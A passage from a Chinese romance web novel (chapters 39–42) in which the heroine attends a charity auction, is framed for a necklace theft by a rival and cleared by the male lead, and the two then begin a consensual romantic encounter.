松开之际,齐灏的食指趁机挠了下甘歆的掌心,像是在和她说—— “我来了。” 第39章 第39章稳当是装的,他竟然慌了。…… 齐灏在这里停留的时间并不久,也只是与沈确浅聊了两句融资的事项,再次点头示意后,他就离开了,径直往里走去。 甘歆望向齐灏的背影,脑子里只出现了四个字,他山之巅。 直到沈确在她面前晃了下手,她才回过神来,对着沈确眨了眨眼睛,有些无辜,“嗯?” “灌什么迷魂汤了,太子爷这么给你面子?” “没有,”甘歆否认着,“就工作那点事。” 沈确刚想说点什么,就被旁边的闷响打断了,原是任老爷子的手杖重重点了个地,脸都绷紧了,旁边的Rita也扶上了父亲的手臂,老爷子紧闭的最里挤出了三个字,“没礼貌。” Rita刚提气,似乎跟着一起念叨两句,却被老爷子把住胳膊捏了下,让她住嘴。 他们拿齐灏没办法,不代表拿甘歆没办法,老爷子瞧过来的眼神不善,Rita更是冷眼,还没等沈确说话,老爷子就对他说:“送我和婷婷入座吧。” 沈确有些为难,“任叔叔,我还有些人要打招呼,要不您——” “怎么,现在要请你沈大公子送我这个老头子入座,就已经喊不动了?” Rita急了,“爸,你说的什么话,确哥还有事要忙的,我送你过——” “忙什么,不是带了个人来吗?”任老爷的表情里也看按不出悲喜,如高位者睥睨,“有什么事就让她办。” “任董,”沈确也皱起了眉,话里也有些不客气,“她是我的合作伙伴。” “我还是你的合作伙伴呢。”任老爷子没等沈确答复,自顾自往前走了。 Rita脸色焦急,也顾不上甘歆,挽起了沈确的胳膊就往前带,“确哥,走了走了,你又不是不知道我爸多难搞。” 甘歆抿唇对沈确笑笑,意思是没事,沈确走之前拿着手机冲她扬了扬,她又点头。 直到沈确离开后,甘歆这口气才真正松快下来。 雅悦集团的董事长任东华,也算是上一辈里的风云人物,他发话,甘歆心里再不爽,也只能退避三份,别说她,连沈确也得被老爷子牵着走。 她环顾了下会场,找到了刚刚Rita说想吃的蛋糕,看着的确不错,一个小小的方块,中间应该栗子做的夹心,顶端放了个像是南洋金珠似得糖霜,还有根细小的白巧棒在金珠的旁边。 并非不擅长社交,甘歆记得来时沈确和她说过的话,便没打算刻意找人说话。 刻在骨子里的“来都来了”不断闪烁,一个人的话,那就真的当顿饭来吃吧,她走到甜点架边,拿了盘子取个小蛋糕,再放进嘴里,果然是栗子蛋糕,沙质的栗子泥和软绵的蛋糕混在一起,还有松软的奶油一起入口,好吃极了。她庆幸刚刚没让她跟着一起去,不然就是背景板一块,吃也吃不了,坐也坐不下。 糟了,她心里想。 邀请函是沈确的,她都不知道要坐在哪儿。 刚想拿手机问沈确,下一秒就犹豫了,真的还需要去吗? 要不吃吃喝喝撤了?反正也没人认识她。 甘歆将手里的盘子放了下来,正打算往外走,就被一个西装笔挺的男人拦下了,对她伸手,“您好,幸会。” 她礼貌微笑,浅浅握了一下男人的手即放开,“您好。” “不好意思,请问您是?” 甘歆心里疑惑,哪有人不自报家门就问别人的,她也模糊,“我是甘歆。” “哦……刚刚看您和齐总相聊甚欢,您是在寰科就职吗?” 原来是这样,甘歆表情不变,依旧优雅,摇了摇头,并未作答。 “是这样的,我见您一个人,我们那边正好有个空位,不知是否能赏脸一道?” 对方身份未知,可在此处的非富即贵,且不说眼下沈确方不方便接电话,这会儿直接拿出电话来打也 不合适,她有些下不来台。 正犹豫着,有个面熟的人朝甘歆走来,先对甘歆点头叫了声歆总,才再对边上的男人笑了笑说了声抱歉。 “歆总,齐总刚刚有些忙没顾上,让我现在请您过去。” 听见声音甘歆才反应过来,竟然是一直给甘歆送午餐的司机小哥,小哥今天打扮得也体面,西装比平日里更挺括了,连头发都抹上了发蜡,整个人都散发着精英气质。 “歆总?” “噢,好的,麻烦你了。”甘歆对司机小哥点头微笑。 男人还未让开,但有人开路,两方视线相触,他往后退了一步,让开了一条道,司机小哥站在这个男人身前,替甘歆挡了挡,她很感激。 “谢谢,”甘歆说,“抱歉,你真的只是齐灏的司机吗?” “……确切说来,我是老板的PA,老板没嘱咐,我不敢多说,”他低了低头,自我介绍道,“我叫周泽。” 竟然让PA天天来给自己送餐,齐灏倒是大方。 甘歆有些困惑,看周泽是自己人,她问得也直接,“今天大家怎么没喊他小齐总?” 周泽看向甘歆,一脸疑惑,“歆总不知道?” “知道什么?”她是真什么都不知道。 “这个慈善拍卖晚宴,一直都是寰科牵头办的,每年一次,往年都是董事长带着老板一起参加,今年董事长不出席了,所以……” 周泽话没说透,但甘歆懂了。 权力交接,以后寰科的齐总,就只是齐灏。 她跟着周泽走过了很长的一段路,中央拍卖台不大,前方都是小圆桌,摆得松散随意,像只是来放松消遣的静吧一样,每张桌子的台卡上都有一小束花,上面没有名字,只有数字。 沈确发来的邀请函在脑海里闪了一下,她突然明白这个数字代表什么了,数字是位置,她没想到,在富豪圈,标榜实力竟如此直白。 路过一众圆桌,甘歆看到了坐在29号桌的任家父女,还有似乎在低头打招呼的沈确。 碰巧他抬头,两人视线相撞,甘歆正脸不再继续,错过了沈确眼睛里复杂的情绪。 前十的位置更宽敞些,座椅也换成了沙发,她本以为自己会被领过去,却没想到刚刚踏入这个区域,齐灏就走了过来。 这次他没有再伸手,而是作了个请的姿势,亲自将她带到了1号桌,甘歆入座后,齐灏才在单人沙发上坐下,他们中间隔着圆几,说话并不方便。 手包震了震,手机来了信息,甘歆转过头去看齐灏,正对上他的淡淡笑意,知道是他发来的。 “你今天好美。” 甘歆笑了笑,回了个过去,“你太招摇了,还好他们都不认识我。” 齐灏没有回,对着甘歆做了个有恃无恐的表情。 坐进拍卖桌后,生意人的社交才正式开始,不断有人来拜访齐灏,周泽在一旁把握时间,甘歆发现,来拜访的人无论年龄多大,对着这个年轻人都尊敬,齐灏保持一贯风度,话也说得滴水不漏,就算有些人是刻意来溜须拍马,齐灏也应对自如,没有半分不适。 得了太子爷的照拂,甘歆也不会被这些拜访者遗忘,他们礼貌、尊重,比起他们,之前来和甘歆搭讪的那个人,简直被称为登徒子都不为过。 齐灏也会主动将甘歆介绍给一些人认识,当他稍作详细介绍时,对方一定是投融界有头有脸的人物,他也没把晟宇藏着掖着,连人带公司地说,有两位更是当场拿出了手机要和甘歆交换联系方式。 这波人刚走,沈确就来了。 “齐总,”他对着齐灏伸手,“多谢关照阿歆。” 齐灏握了回去,“沈总客气了,歆总带我比较多。” 工作之外,他俩基本无话,沈确对甘歆比抬了抬手肘,“走吧。” 甘歆犹豫了一下,齐灏往前迈了步,外人看似只是齐灏的手友好地搭上了沈确的背,可他说的话只有他们三个人能听见。 “你那的位置已经有人坐了。”他的手在沈确的背上轻拍了两下。 Rita已经坐在了晟宇的号码桌边,浑然一副女主人的姿态。 两个男人又恢复了握手的姿势,脸上的笑容都未曾变半分,沈确成熟、齐灏年轻,目光相遇谁都不躲闪不相让。 “我早该想到,齐总醉翁之意不在酒,是我疏忽了。” “在商言商,沈总多虑了。” 甘歆见两个人打哑谜,站在一边有些无措。 沈确淡淡笑了笑,“也是,这里视野更好,她坐在这里会有更好的体验。” 他俩终于松了手,沈确和甘歆关照了下外套等周一的时候给她带来,没再多说什么,就转身走了,他的背影被吊顶的水晶灯照着,明明是暗金色的西装,看起来却一点都不喧嚣,像是平静的沙漠里起了一阵沙尘。 沈确走后,齐灏便关照周泽不再接待,他的时间到此为止。 甘歆心里困惑,但看向齐灏时,却不知道该怎么问出口。难道要问齐灏沈确是不是对我有意思吗? “他配不上你,不纯粹。”齐灏直言,连一点遮掩都没有。 一句“难道你就纯粹吗”在嘴边,甘歆看到了齐灏看过来的眼睛,幽暗、深邃,带着些克制,到底没说出口。 齐灏轻叹了口气,“年纪大也不过如此么。” 不应该笑的,但甘歆没忍住,抬手捂了个嘴,瞥了他一眼,“说什么呢。” “我以为他要把你带来,是开窍了,”齐灏将腿叠了起来,双手交叉放在腿上,整个人往沙发靠背上靠了靠,看着是寰科的新晋掌舵人,话里却带着孩子气,“鼓励良性竞争,但没做好准备,就别上这个擂台了。” 甘歆聪颖,哪里听不懂齐灏说的话,她回头看了一眼,26号桌上沈确与Rita都站着和人聊得怡然自得,好像刚刚落寞的背影只是她的错觉。 她对沈确的态度一直明确,从未模糊,或许沈确的确试探过她,又或许只是逗个闷子,但她从不期许,也从未动摇,擂台实属无稽之谈。 但齐灏这么如临大敌的样子,让甘歆觉得很新鲜。 没有哪个女人不乐意头狼拜倒在自己的石榴裙下,甘歆也不能免俗。 更何况,头狼初升,还年轻气盛。 她从齐灏的“占有”里,看到了他的渴望,他同样渴望被自己占有。齐灏见他人时不悲不喜,遇他事时波澜不惊,但他今天乱了,或许很早就乱了,是北泽村的电话,还是回国后的第一次见面,甘歆无从考究。 他急于求证,看似大度,实则煎熬。 也许在见到任家父女站在自己身边的时候,他还庆幸找到了英雄救美的机会。 稳当是装的,他竟然慌了。 甘歆的脸上浮起一抹笑容,这次是她比较嘚瑟。 她对齐灏勾了勾手指,他便贴了过来。 唇没碰到耳朵,但呼出的热气会,甘歆说得小声,还带了些嘲笑。 “嫌一个人追着无聊,想找点刺激?” 他顾不上场合,抓住了甘歆的手腕,“只有我追吗?” 甘歆脸上笑意未褪,直起了身,“不确定。” 如果齐灏是只小狗的话,此刻耳朵应该都耷拉了下去了。 她的目光里露出了狡黠,嘴角的弧度又上升了一点,“但只让你追了。” 第40章 第40章“轻点,疼。” 宾客落座,慈善拍卖正式开始。 现场的灯光都调亮了一个度,甘歆看到齐灏的耳廓有着明显的绯色,他周身沉静,只有拈搓的拇指和小指出卖了他的兴奋。 甘歆刚刚的话对齐灏来说,无异于官方认证,他从来不敢向甘歆索求唯一,即使急得磨牙,都将利齿含在嘴里,她的高中同学离她那么近,沈确若有若无的那些暧昧,都让他恨得牙痒痒,他恨不得在 甘歆周围罩一个保护罩,将涂层都涂得厚厚的,阳光打在她身上都会让他嫉妒。 可现在不需要了,他的姐姐说,只有他,她只给了他机会。 拍品一件件在上,出价的人络绎不绝,落锤后也有此起彼伏的恭喜,甘歆有些担心刚刚自己的话影响了齐灏的节奏,凑过去问:“你不买?” 齐灏抬了抬眉毛,“你有喜欢的?” 她立马摆手,“我不是这个意思,影响你计划就不好了。” 齐灏笑了笑,“没有计划,这个晚宴的拍品大多数都是寰科找来的,不会有流拍。” “不会流拍?”甘歆从未听过不会流拍的拍卖会。 “寰科会兜底,”齐灏的眼神很轻松,“这是我们的诚意。” 真是……令人安薪啊。 瓷器、宝石、复古丝巾、字画、饰品……看得甘歆眼花缭乱,听着拍卖师的讲解和起拍价,真是越听越心惊,可这个会场里的人好像都觉得那只是数字,和钱财无关,争名逐利。 齐灏似乎见惯了这样的场合,偶尔会饮茶,连多余的动作和表情都没有。 甘歆越听越困,几乎要昏睡过去,被一声叫价惊醒了,她看向拍品陈列桌,正在拍卖的是一个镶嵌红宝石的皇冠,19克拉的红宝石,两边冠架由两根白金流畅线条组成,细看才发现红宝石两侧均嵌满了钻石,整个皇冠都呈现了璀璨的火彩。 齐灏微微皱了眉,对着周泽招了招手,周泽俯身,甘歆听不见他们在说什么。 周泽离开了,几分钟后又回来,“老板,他们弄错了,但已经公开拍卖,没办法撤柜。” 甘歆见齐灏脸色有些不大好,“你想买这个?” “不是,这本来是私藏品,应该是弄错了。” “那怎么办?” 齐灏表情难得露出了些纠结,对着甘歆欲言又止。 “你想说就说,不想说就算,我也不是一定要听的。”甘歆把脸转了过去,继续打量那个皇冠,好看是真好看,贵也是真的贵,这个数字就算去掉四个零,她都有些不敢想。 犹豫再三,齐灏终于开了口,“你想不想玩玩?” “玩什么?” “叫价。” “啊?”甘歆指了指自己,“我?”她又耸了耸肩,“算了吧,人怕出名猪怕壮,我可不想打肿脸充胖子。” “就当帮帮我咯?” 大庭广众,撒娇犯规,甘歆笑着拒绝,“别闹。” 他也不强求,又跟周泽吩咐了几句,甘歆揶揄他,“齐总不亲自竞价?” 齐灏挑了个眉毛,少有地露出了些嚣张,“谁敢跟?” 甘歆低头忍笑,不再理他。 红宝石皇冠未拍完,甘歆就起了身,用嘴型对齐灏说去洗手间。因为一直在齐灏身边的关系,现场的人虽然不认识甘歆,但多多少少会对她点头致意,她也礼貌微笑,保持疏离,途中没有刻意停留。 这个会所的洗手间很大,甘歆从隔间出来后在水池边洗手,见唇色有些掉了,便打开手包取了唇膏出来补色,膏体刚刚触到唇上,洗手间里又进了一个人,高跟鞋点地,被洗手间的空旷放大了声音。 身着水色长裙的女人站到甘歆身边,也从手包里拿了唇膏出来,甘歆抹的是偏暗的正红,Rita取的是温柔的橘粉。 “歆总。” 甘歆正抹口红,也不想搭理她,只对她点了个头,算是打了招呼。 “这个场合,歆总第一次来?”她抹唇膏的姿势精致,连发丝都仿佛是设计过的。 将唇膏合上后,甘歆才回复:“嗯,第一次来。” “觉得怎么样?” 甘歆抿唇笑了笑,“大家都挺辛苦的。” Rita的脸色不好看,“你什么意思?” “没别的意思,”她的大小姐脾气甘歆没必要惯着,“富豪的快乐我们想象不到,但富豪的苦恼我们也体会不到,都一样。” “甘歆,你既然对沈确没意思的话,就离他远点。” 这话新鲜,甘歆第一次从Rita的嘴里听说,她面露不解,还带着笑,“我不太懂。” “你不需要懂,”Rita的强势和她今天的打扮完全相反,“记住就可以了。” “你在命令我做事吗?”甘歆皱眉反问,“请问你用的什么身份呢?” 没等Rita回答,甘歆继续说:“别说你现在和沈确还没什么关系,就算你是她的女朋友、未婚妻甚至是合法妻子,都没有权利命令我。 “你看得上的东西,别人不一定想要。 “还有,你这么患得患失,是因为沈确不喜欢你吗?” 她以前不讨厌Rita,顶多觉得她是骄纵的小女孩罢了,惯坏了无所谓,这是天真,但仗势欺人就不对了,以甘歆的性子,没把她说到哭,已经是手下留情。 “你别以为有齐灏给你撑腰就可以为所欲为,”Rita的脸露出嫌恶来,“也不看看自己多大年纪了,也不怕别人笑话。” “你对我不爽,可以,”甘歆正色道,“但不要带旁人进来。” “你还有脸跟我讲仁义道德?” “任婷,”甘歆是真的生气了,她承认,她也是在意这个点的,才会被惹恼,“我看在你和沈确的关系上,不和你计较,但你要是得寸进尺,就别怪我不客气。” “你不客气?你有什么,晟宇的股份还是寰科的?站在这里你自己心里不清楚为什么吗,你有什么资格跟我不客气?”Rita怒目圆睁,把手上的口红往地上一扔,“帮我捡起来,换我跟你不计较。” 换作别的场合,甘歆肯定不犹豫一个巴掌招呼上去,但这个慈善晚宴是寰科牵头的,还是齐灏第一次单独出席的场合,她不想因为这些子虚乌有的事情闹大。 她慢慢蹲下,捡起了Rita的唇膏,放到了洗手台上,“任大小姐,希望你说话算话。” 甘歆拿过自己的手包扣上,直接离开了洗手间,可能是回到座位上坐下时脸色还有些难看,齐灏看了过来,“怎么了?” 她摇了个头,“没事,”见红宝石皇冠被拍走了,“买到了吗?” “快了。”他对着甘歆笑,见她依旧神色不佳,“真没事?” “没事,可能看多了有点晕。” “那走吧,我带你走。” 齐灏刚要起身,就听见洗手间方向传来一声尖锐的女声,“有小偷!项链不见了!” 会场上所有人的注意力都转了过去,瞬间有两名黑西装保安往那走,搀出了花容失色的Rita,她哭得梨花带雨惹人怜,还虚弱得有些站不住。 沈确立刻起身跑了过去,任老爷子也快步走了过去,齐灏招了招周泽,也让他去看看。 甘歆实在没想到,只有在电视剧里会出现的情况会发生在自己身上,Rita的Tiffany黄钻项链不见了,只说自己在洗手台边解下过,虽然没提甘歆,但她下意识抓紧了自己的手包。 一定是在给她捡口红的时候,被Rita自己放进去了,她有些无措。 沈确的西装已经披在了Rita的身上,他们几个人走出了拍卖会场,应该是去了外厅。 她真觉得自己无辜极了、冤极了,但只要他们调走廊监控,就知道她们两个是同时在洗手间的,被发现只是时间问题。 甘歆眉头紧锁,一时不知该怎么办。 一只手伸了过来,握住了甘歆的手腕,宽大温暖,她抬头看向齐灏,连苦笑都笑不出来,满面忧心,齐灏却淡淡地笑着,还捏了她两下。 “在你包里?” 来不及讶异于他的聪明,甘歆摇了摇头,“我不知道,但大概率在。” “她跟你说什么了?” 甘歆一 脸无奈,还有些不耐烦,“她让我离沈确远点。” 齐灏忍了个笑,“你怎么说的?” “……骂了她几句,让她不要发疯,”甘歆叹了口气,“你说我跟她计较什么啊,她才多大,二十六七岁,警告就警告呗,我又不会少块肉。” “然后呢?” “她也说了些难听的,”甘歆没打算细说,“但也没说错吧,我不想闹大,她说让我帮她捡口红我就捡了。” “让你帮她捡口红?”齐灏皱了皱眉,“到底谁穿的长裙子?” “这不是重点,”甘歆心急,想直接站起身带着包出去,“我出去一下吧,如果真的在我这,还给她就完事了。” “她的那颗彩宝是限量的,”齐灏拉着她不让动,“送羊入虎口,你是不是傻?” 甘歆最烦齐灏这个口气,“那怎么办,真要砸你的场子吗?那我还不如刚刚就跟她闹开了得了,还能痛快点。” 齐灏愣了愣,“什么?” “不是第一场被叫齐总吗,总别出什么乱子才好。” 她回答得顺溜,齐灏的表情却变了,惊愕之后是惊喜,惊喜过后又有些心疼,他控制不住抚上了甘歆的发,又跟教训孩子似的轻轻推了一把,“你心里能不能有点数?” “什么数?”甘歆被问得莫名其妙,心里又烦,“哎你别拉着我。” 齐灏没回答她的问题,转而说道:“你先打开包看看在不在你这。” 甘歆这才反应过来,也不敢全打开,微微开了一条缝,还真在,真是着了道了,齐灏也看见了,甘歆又气又恼还不能发火,牙都被她咬碎似的,这叫什么事儿啊。 “没事,”齐灏笑了笑,又捏了捏她的手,“走吧。” “去哪?” “找他们啊,还给她,不是你说的吗?” “……你刚刚还说是限量的,没那么简单?” “刚刚是刚刚,现在是现在。” 齐灏先站了起来,他向甘歆也伸了个弯曲的胳膊,“挽好。” “……你趁火打劫。” “你都说了我第一场被叫齐总,总不能当着这么多人不给我面子吧?” 甘歆挽上了,还对他笑了笑,笑得极其不刻意,小声蛐蛐:“我看你等会儿怎么装。” 齐灏的右手按了按她挽着的手背,让她放心。 两人一起出了会场,来到外厅,正好他们几个就在门口的会客沙发上坐着,已经有警察来了,Rita坐在中间,一边哭一边懊悔,又和沈确不断地说着对不起。 甘歆正愁该怎么开口,齐灏就有了动作。 他竟然就这么直接站到他们几个面前,拿过了甘歆的手包,自然地拿出了那条黄钻项链,放在Rita的面前,“是这条吗?” “是、是……”Rita见还项链来的是齐灏,也不敢多说话,眼睛一直往她爸那看,任老爷子都不敢接她的眼神,没搭理。 明眼人都知道怎么回事,Rita仍在挣扎,“齐、齐总是哪里找到的?” “这条项链不小心掉进了歆总的包里,我现在把它还给你,”他声音平静,听不出责怪也没有任何歉意,“你还有什么问题吗?” 沈确和任老爷子立刻看了过来,Rita也怔住了,“没……没有了。” 齐灏再抬头看任老爷子,这是他今天晚上第一次正视这个老人,“任董呢,有问题吗?” “没有问题,”发已有些花白的老人微微弯腰,“小女不懂事,齐总海涵。” “既然如此,那就给歆总道个歉吧,”齐灏说得理所应当,仿佛只是在跟司机说下个路口拐弯,还虚虚地揽住了甘歆的腰背,“刚刚她都吓着了,差点要哭。” 甘歆内心翻了个白眼,她只想赶紧把事情解决,哪里有半点想哭的意思,可被齐灏说得又有点想笑,暗自用力掐了他的胳膊一把。 他倒大方,跟没外人似的,“轻点,疼。” 40-50 第41章 第41章“即使做了什么,我也不一定…… 警察已经被周泽带到了一边,两句话后,被慢慢引了出去。 项链找到了,顺利物归原主,Rita还有些抽泣,手里攥着项链,嘴唇紧闭,倔强又害怕,只敢看她爸求救。 任东华心里如明镜,又是自己从小宠到大的女儿,事情但凡沾上沈确,他这平日里什么都瞧不上的姑娘就容易发疯,他就不明白了,当时晟宇都落破成那样了,怎么她女儿非得沈确不可。 可他明白,在场几个人,唯一和齐灏没什么交情的只有自己,正当他打算豁出这张老脸主动赔罪时,沈确站了出来。 “齐总、阿歆,抱歉,如果有哪里得罪,我代婷婷向你们赔不是。” 齐灏抬了抬眼睛,又看向甘歆。 见沈确为Rita低头,甘歆也觉得怪怪的,但到底是自己的老板,真要道歉也不必是他,“沈总,一场误会,言重了。” 离开的时候齐灏牵着她的手,甘歆也没再回头。 直到出了会所,才发现外面已经下过雨了,柏油路面的颜色更深,建筑上的灯光都坠在这些潮意里,一阵风吹来,还带了点凉,甘歆下意识地抚了抚露在外头的手臂。 带着体温的西装外套盖在了身上,几乎将所有的裙子都遮掩住了,木香袭来,都是齐灏的气味。 “抱歉。”他开口就是道歉,“是我自作主张了。” 甘歆知道他说的什么,将事情直接摊平了说,怕是也只有他敢这么做,她浅浅一笑摇了摇头,“没事。” 顶尖的名利场里呆了两三个小时,甘歆已经明白,这座穹顶之下,真话假话,没有人追究,唯一能够让人臣服的,只有实力。 最有实力的那个男生——不,已经不是男生了,她侧过脸看向齐灏,他已褪去青涩,锋利的下颚线已经浸染了些成熟,西装马甲很好地衬出了他的身材,宽肩窄腰,连挺直的后颈都耐看。 他站到了甘歆的左边,替她挡住了些风,低头笑着问:“很好看?” 甘歆也笑了出来,鬓角有一缕调皮的发丝掉了下来,蹭到了她的嘴角,刚想伸手,齐灏的手指就覆盖了上来,指尖竟也是温润的。 触碰时他们四目相对,齐灏的动作就变得很慢,将这缕发从脸颊带过,别到了甘歆耳后,离开之际还眷恋地轻轻捏了下她的耳廓。 过去,甘歆还对景页未知的时候,他就经常会在视频里做这个动作,伸过来的手五指微弯,他曾说过想要好好抚她的脸颊,也说他无法想象,真的能摸到的那天,会有多激动。 齐灏个儿高,甘歆只能仰头看他,他们的对视未曾停止,心里的汹涌一浪高过一浪,尤其是身上都是他的味道时,她几乎有些无法克制地看着他的唇,再看他的眼睛,目光好像已经有了些别样的期待。 加长版的迈巴赫缓缓停下,周泽下了车。 齐灏没动,甘歆转过了头看别处。 她有些弄不清,春风到是暖是寒。 甘歆上车后,齐灏似乎和周泽交代了一些事,直接坐上了驾驶座。 不等她问,齐灏主动说:“我送你回去。” “你等会还回来吗?”甘歆问,“我叫车回去就好,别麻烦了。” 车内后视镜上齐灏看过来的眼神带着笑,还有些神秘,但算不上清白,“下半场还是算了。” “为什么?”甘歆不解,寰科做东难道还有做一半的道理?” “不太适合我们这种……小孩子。” 他说得拗口勉强,甘歆却笑了起来,“小吗?” 两个字落地,齐灏和甘歆都愣了一下,她感觉自己的血液在往上涌,明明已经躲进了车里,怎么还避不开深春的潮湿,尤其是耳根子那片的脖颈,几乎像着了一样。 她急于解释,“……我是说年纪。” 可又好像不如不说,手里抓着手包,清了清嗓子,脸向窗外,假装不在。 齐灏对甘歆的熨帖是刻在骨子里的,他没追问,直接发动了车,在湿漉的道路上扬长而去。 车窗上还挂着些雨点子,在城市随处可见的霓虹灯下映出光彩,迈巴赫的车内空间很大,她几乎能将腿完全放直,这一路她都没敢去看后视镜,生怕又被齐灏抓到似的 ,可要说她在怕什么,甘歆自己心里也不清楚。 春雨又淅淅沥沥地下了下来,甘歆这次没让他停在两条街外,而是直接停在了小区门口。 车里没有伞,齐灏将他的西装外套撑了起来,为她遮起了雨。可夜里的光实在不够,老旧公寓门口的路又年久失修,甘歆的高跟鞋今天卡了第二次,她一踉跄,齐灏擎着外套的手就揽住了她的胳膊,将她整个人往自己身体上靠。 甘歆的高跟鞋拔不出来,齐灏就把外套盖在了她的脑袋上,蹲了下去,“崴到了吗?” “……没有,就是鞋拿不出来。” 齐灏让甘歆靠着他,自己扶着她的小腿将脚从鞋里拿了出来,再用力往外一抽,鞋出来了,可惜根坏了。 “没事,能穿,我踮着脚走。” 他站起来,看着罩在自己西装外套下的甘歆,浑然不觉自己已在雨中,发梢、睫毛上都惹了些水汽,问出的话都有些颤抖,仿佛在征得神的允许。 “MayI” 男人问得克制,他的神没有应答,几秒后他却好像有了决断,一手揽过甘歆的背,一手挽过膝弯,打横将她抱了起来,“几步路,你忍一忍,不想被看见,就用外套遮住脑袋。” 甘歆真的用齐灏的外套盖住了脑袋,木香铺天盖地袭来,被齐灏触碰的地方好像长出了无数绵软的针,不扎人,却有些发痒。 直到上了电梯,到家门口,等他将她放下,甘歆才将外套拿了下来,她看见齐灏身上的衣服洇了些水,“进去坐会儿吧。” 齐灏的喉结上下滚动了一下,眼睛里的炙热没有少半分,连拳头都捏紧了,“没关系,我走了,你早点休息。” 她鬼使神差地拉住了齐灏的胳膊,喉咙也觉得有些干涩,“至少擦一擦。” 他的胳膊明显绷得更紧了,甘歆都能感觉到明显的线条,他似乎很热,衬衣上落下的雨点子仿佛下一刻就会被蒸腾成云,他依旧坚持,“……我回去了。” 今夜只喝了一杯香槟,也只是被Rita惹了一下,香槟不醉人,Rita那受的气也找回来了,甘歆觉得自己有些失重,她没有借口了。 甘歆点了点头,“那我送你。” 齐灏没动,是甘歆先转身,还踮着脚,一步步走向电梯厅,刚拐过弯,就被身后的一股力量带进了黑暗里,只有头顶上的绿色标记在提醒她这里是安全楼梯。 她被抵在墙上,却没有完全抵上,齐灏手挡在了背和墙的中间,这层楼的声控灯是什么时候坏的,甘歆并不清楚,太黑了,她根本看不清眼前人的轮廓,只能凭借他声音里的颤抖判断出他的紧张。 “……刚刚,你没回答我。” “什么?” 脸上感受到了热息,随着男人胸口的起伏,一股一股地喷洒而来,甘歆这才发现,齐灏在这场晚宴里,只饮了茶,并没有碰过酒,可他身上的热量是从哪里来的?明明没有触碰到,为什么感觉自己被烫到了呢。 他的声音很低,带着些哑,又问了一遍,“MayI” 甘歆咽了咽,好像终于找到了刚刚为什么要抓他胳膊的理由,想让……齐灏留下的理由。 一路上脑海里都被他们曾经的荒唐占了个遍,他绷出来的肌肉,皮肤上渗出的细密的汗,还有他次次都会伸向镜头的手,腰腹间的耸动,他光着脚站在深红地板上惹出来的白雾,还有……与他一同沉沦的自己。 她实在羞耻于说Yes,但微微扬起了头,在没有预估的距离下,嘴唇蹭到了男人的下巴。 被蹭开的那一秒,齐灏吻了下来。 较之第一次的青涩,他已经学会了引诱,反复的描摹中还会吮吻她的唇,他的舌尖挑开了她的唇缝,只在齿关外游移,像个耐心的猎人。 甘歆只是松了松口,他便一招深入,没有再给她反悔的机会。 男人好像急色的鬼,又似是慢热的仙,连舌头都仿佛有两重滋味,他丝毫不怜惜地在口腔里挞伐征战,又好像对待珍品一般将津.液全部卷入,他渡过来的气息强势又绵长,甘歆不得不将嘴再张开一些才得以喘息,可这样的动作似乎给他提供了可乘之机,他伸过来的舌尖几乎要抵到了嗓子眼。 水泥墙那么凉,甘歆却没感受到,后脑勺被按住,腰也被环紧了,齐灏几乎在用双臂的所有力量,将甘歆往自己的身体里按,原本攀在他胸前的手,似乎受不住这样的压力,只能往上勾住脖颈。 男人好像终于打算放过了她,侵.犯够了的舌终于从口腔里退了出来,又轻轻吻她的唇,一点一点,像是安抚,也像是在说悄悄话,他的唇到了嘴角,将溢出的一些晶莹又吮了回去,再是在梦里摩挲了无数遍的面颊、耳根。 正当甘歆以为这个激烈的吻接近尾声的时候,齐灏咬上了甘歆耳后的颈,力道不大,却让她敏感地缩紧了身体,口中也溢出了一丝控制不住的呻.吟。 她正要挣扎,齐灏却不再动作,将她抱紧了,后脑的手落到了背上,甘歆的丸子头终于得以松弛,带着柔香的发丝垂落下来,她丢盔卸甲。 “……姐姐,别对我太好。” 齐灏的声音已经全哑了,所有的热气都打在她的耳边,“我会骄傲,会得寸进尺。” 攥着他腰侧的双手也捏紧了,甘歆的手心里都是汗,连腿都有些站不住,话说得凶,声调却有些喘不上来,“你还不够得寸进尺吗?” “不够,不够!不够……” 齐灏的声音已经乱了,他胸口起伏的越来越剧烈,连肩膀都耸动了起来。甘歆觉得自己好像坐在船上,随着浪一起一伏,不经意间连呼吸都与他同频。 过去她就对景页的诱惑无法抵抗,现在齐灏真人就在眼前。 她清醒着,所以她觉得自己疯了。 甘歆无法拒的理由是……她不想拒绝。 她的手蹭进了齐灏的衣摆,在西装马甲里,也隔在衬衫外,抚上了他的腰,还坏心眼地掐了一下,声音也空茫了起来,“即使做了什么,我也不一定会答应你。” 男人好像从未受过这样的刺激,忍不住闷哼了一声。 他的嘴凑到了甘歆的耳朵边,明明说着大度的话,却带着凶狠,也不知道到底在警告谁。 “不要紧。” 第42章 第42章“……姐姐。”“脱了。”…… 他们几乎是摔进门里的,西装外套掉落在地上没人在意,甘歆的腰好像被齐灏托起来了,肩膀结结实实地抵靠在了门背,她只能仰着头搂着齐灏的脖子借力。 唇再度被辗轧、掠夺,齐灏似乎不满足,近乎啃咬上了甘歆的脸颊,他如呓语,“……姐姐。” 甘歆松开了他的脖子,细白的手掌盖在他的西装马甲上,“脱了。” 他如得了令一般,急躁地解着马甲的扣子,反手将马甲脱了下来,随意扔在地上,他答道:“脱好了。” 房间里没开灯,只有江对面建筑群的灯光映照进来,地板被照出了白,才刚刚能看清面前这人的轮廓,甘歆的手抚上了齐灏的脸,他的脸颊比她的手心还烫,下一刻就游移到了脖颈,她刻意在动脉那处按了一下,再用手心覆上了他的喉结。 年轻的男人紧锁着眉头,双眼紧闭,嘴却微微张开,如临大敌般。 似乎这样的迫切还不能让甘歆满足,她总想让他再失控一些。 手指掠过了他衬衣已经开了的第一粒纽扣,又到第二颗,顺势一直解开到腰腹,但她只让衬衣随意垂落,丝毫没有往外敞的意思。 “你这样很危险。” 这是齐灏的风格,是提醒,也是警告。 她像蛇一样再次攀上了他的肩膀,在他的胸口呓语,“想喝酒吗?” 成熟的女人见识过太多男人的借口、谎言,她无意欺负他的年轻,依旧在为他寻找退路,酒可以解释的范围实在太宽泛。 “姐姐想喝?” 甘歆抬头看他,像听了个笑话,“怎么看都是我占你便宜,我是问你,”她又确认了一遍,“你需要吗?” 他毫不犹 豫,“不需要。” 她嘴唇勾了勾,在他耳边吹了口气,“抱我进浴室。” 下一秒甘歆就腾空了起来,进了浴室后她却把男人推了出去,“我先洗澡。” 淋浴刚出水有些凉,她清醒了两秒,又在水汽里沉迷,她故意洗得很慢,把每一寸肌肤都揉了一遍,热汽越来越多,玻璃上已经有了许多水痕,错乱交杂,像甘歆此时的思绪。 她竟然把齐灏带回了家,还以这种目的? 